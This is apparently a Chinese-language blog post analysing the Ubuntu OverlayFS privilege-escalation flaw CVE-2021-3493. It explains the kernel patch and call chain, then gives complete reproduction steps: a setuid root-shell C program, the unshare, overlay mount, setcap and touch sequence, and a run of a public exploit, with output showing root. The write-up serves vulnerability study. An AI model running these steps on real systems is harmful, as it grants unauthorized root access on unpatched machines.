CVE-2021-3493:Overlay 文件系统 Ubuntu 本地提权漏洞分析

分析此漏洞的文章非常多,在此只是记录一下复现漏洞的过程以及对漏洞的个人理解。Linux 内核漏洞有一定的准入门槛,不适合小白阅读。

基本信息

[影响范围]

Ubuntu 14.04 ~20.10

[漏洞描述]

Ubuntu 内核代码允许低权限用户在使用 unshare() 函数创建的用户命名空间中挂载 overlayfs 文件系统。当使用 setxattr() 函数设置 merged 联合挂载目录中文件的 security.capablility 扩展属性时,根据 overlayfs 文件系统的特性,将实际修改 init_user_ns 下 upper 目录中对应文件的扩展属性,从而造成本地提权问题。

[补丁分析]

漏洞补丁:7c03e2cda4a584cadc398e8f6641ca9988a39d52

xattr.c 是 Linux 内核中的一个文件,实现了 Linux 文件系统中**扩展属性(Extended Attributes)**相关操作。扩展属性是一种文件系统元数据,目前主要使用的是 security.capabilitysecurity.selinux,用于可执行文件的能力控制和强制访问控制。

在这里插入图片描述

从补丁信息来看,vfs_setxattr 函数在设置扩展属性时,添加了 cap_convert_nscap

cap_convert_nscap 定义在文件 security/commoncap.c 中,用于将用户命名空间的 capability 转换成进程命名空间中的能力。函数作用是在进程命名空间中为当前进程设置新的能力集,以实现对用户命名空间中的能力的转换。该函数在 Linux 内核中的应用十分广泛,例如实现 Docker 容器等虚拟化技术中,需要使用该函数将容器内的 capability 转换成主机上的能力,以提高容器的安全性和隔离性。—— ChatGPT 3.5

漏洞分析

其实 ChatGPT 有时候解释的还是比较抽象,**cap_convert_nscap 检查命名空间的权限。**具体来说,如果我们在自己的命名空间内挂载的文件系统上设置文件的扩展属性,没有问题。问题在于,当 OverlayFS 将此操作转发到底层文件系统时,它仅调用 vfs_setxattr 并且跳过 cap_convert_nscap。这允许攻击者修改外部命名空间挂载的文件的安全扩展属性,在 Linux 5.11 中,对 cap_convert_nscap 的调用已移至 vsf_setxatrr

漏洞代码

在这里插入图片描述

path_setxattr -> setxattr -> vfs_setxattr,**当时看到这个漏洞修复百思不得其解,原先的代码也有使用校验当前命名空间是否具有相应权限的函数,只是这个函数调用放在了 setxattr而非 patch 的 vfs_setxattr,**这样为什么会有漏洞呢?用户态进程在 Overlay 文件系统中,使用 setxattr 的内核调用栈如下

在这里插入图片描述

从调用栈可以看出,Upper 层(ext4)设置扩展属性时,调用了 vfs_setxattr ,而这个函数并没有对当前命名空间权限的判断。

更进一步,cap_convert_nscap 实现如下

在这里插入图片描述

正如我们所看到的,s->s_user_ns 是从 mount 过程中初始化的,在漏洞利用中是一个具有全部功能的新用户 ns。在这里,这个 inode 是覆盖层创建的索引节点,它的超级块 s_user_ns 是一个新用户 ns。新用户 ns 拥有所有 CAP_SETFCAP。所以这里的 ns_capable 将返回 0,这意味着该进程在这个新用户 ns 中具有 CAP_SETFCAP

返回 setxattr syscall 的调用链,cap_convert_nscap 检查权限通过后,第一次调用 vfs_setxattr。请注意,第一次调用 vfs_setxattr 是使用 OverlayFS。然后转到 Upper vfs_setxattr,因为 Upper 是主机文件系统 (ext4) 中的一个目录,所以 ext4 文件系统的 setxattr(ext4_xattr_set) 将被调用,最后扩展属性将被写入上目录文件。

漏洞复现

[复现环境]

下载地址:Ubuntu 18.04.0(old 镜像,非已经打过补丁的镜像版本)

[漏洞复现]

tom@virtual-machine:~$ git clone https://github.com/briskets/CVE-2021-3493.git
tom@virtual-machine:~$ cd CVE-2021-3493/
tom@virtual-machine:~/CVE-2021-3493$ gcc exploit.c -o exp
tom@virtual-machine:~/CVE-2021-3493$ ./exp
bash-4.4# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(tom)

1.编写用于获取 root 权限的程序

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(void)
{
    
    
	if (setuid(0)) {
    
    
		perror("setuid");
		return -1;
	}
	if (setgid(0)) {
    
    
		perror("setgid");
		return -1;
	}
	system("/bin/bash");
	return 0;
}
// gcc gc.c -o gc

此程序需要 root 权限或者 CAP_SET_UID、CAP_SET_GID 才能运行。

Linux中的Capability(能力)是一种用于管理进程权限的机制。它允许进程以比普通用户更高的权限运行,同时又不需要完全以root用户身份运行。这样可以有效地降低系统被攻击的风险,因为进程只能访问它需要的资源,而不能访问系统中的所有资源。Linux中的Capability机制为系统管理员提供了更细粒度的权限控制,使得进程可以以更安全的方式运行。它是一种比使用root用户权限更安全的方式来管理系统资源的方法。

2.用户命名空间挂载 OverlayFS

用户命名空间和 OverlayFS 的相关知识,我们在复现 CVE-2023-0386 的时候已介绍过,不再赘述。

tom@virtual-machine:~/Documents$ unshare -Urm
root@virtual-machine:~/Documents# ls
lower  merge  upper  work
root@virtual-machine:~/Documents# mount overlay -t overlay -o lowerdir=lower,upperdir=upper,workdir=work ./merge/
root@virtual-machine:~/Documents# setcap CAP_SETUID,CAP_SETGID+ep ./lower/gc
root@virtual-machine:~/Documents# tree
.
├── lower
│   └── gc
├── merge
│   └── gc
├── upper
└── work
    └── work

5 directories, 2 files
root@virtual-machine:~/Documents# touch ./merge/gc
root@virtual-machine:~/Documents# tree
.
├── lower
│   └── gc
├── merge
│   └── gc
├── upper
│   └── gc
└── work
    └── work

5 directories, 3 files

3.初始命名空间提权

tom@virtual-machine:~/Documents$ tree
.
├── lower
│   └── gc
├── merge
├── upper
│   └── gc
└── work
    └── work [error opening dir]

5 directories, 2 files
tom@virtual-machine:~/Documents$ ./upper/gc
root@virtual-machine:~/Documents# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(tom)

总结

由于笔者已分析过 CVE-2023-0386,在此基础上,分析 CVE-2021-3493 可能更为简单。CVE-2023-0386 需要理解 OverlayFS、Linux 命名空间、SetUID 位的概念;除此之外,如果你想理解 CVE-2021-3493,还需要了解 Capability、Linux 文件扩展属性。当你理解了这些常见的概念之后,在手动复现这些漏洞,会有更加深刻的理解,并且可以提高对 Linux 本地提权漏洞的认知。理解漏洞可以通过内核源码以及手动复现,如果能够调试内核则可以进一步认识内核漏洞。

参考文献

猜你喜欢

转载自blog.csdn.net/song_lee/article/details/131452729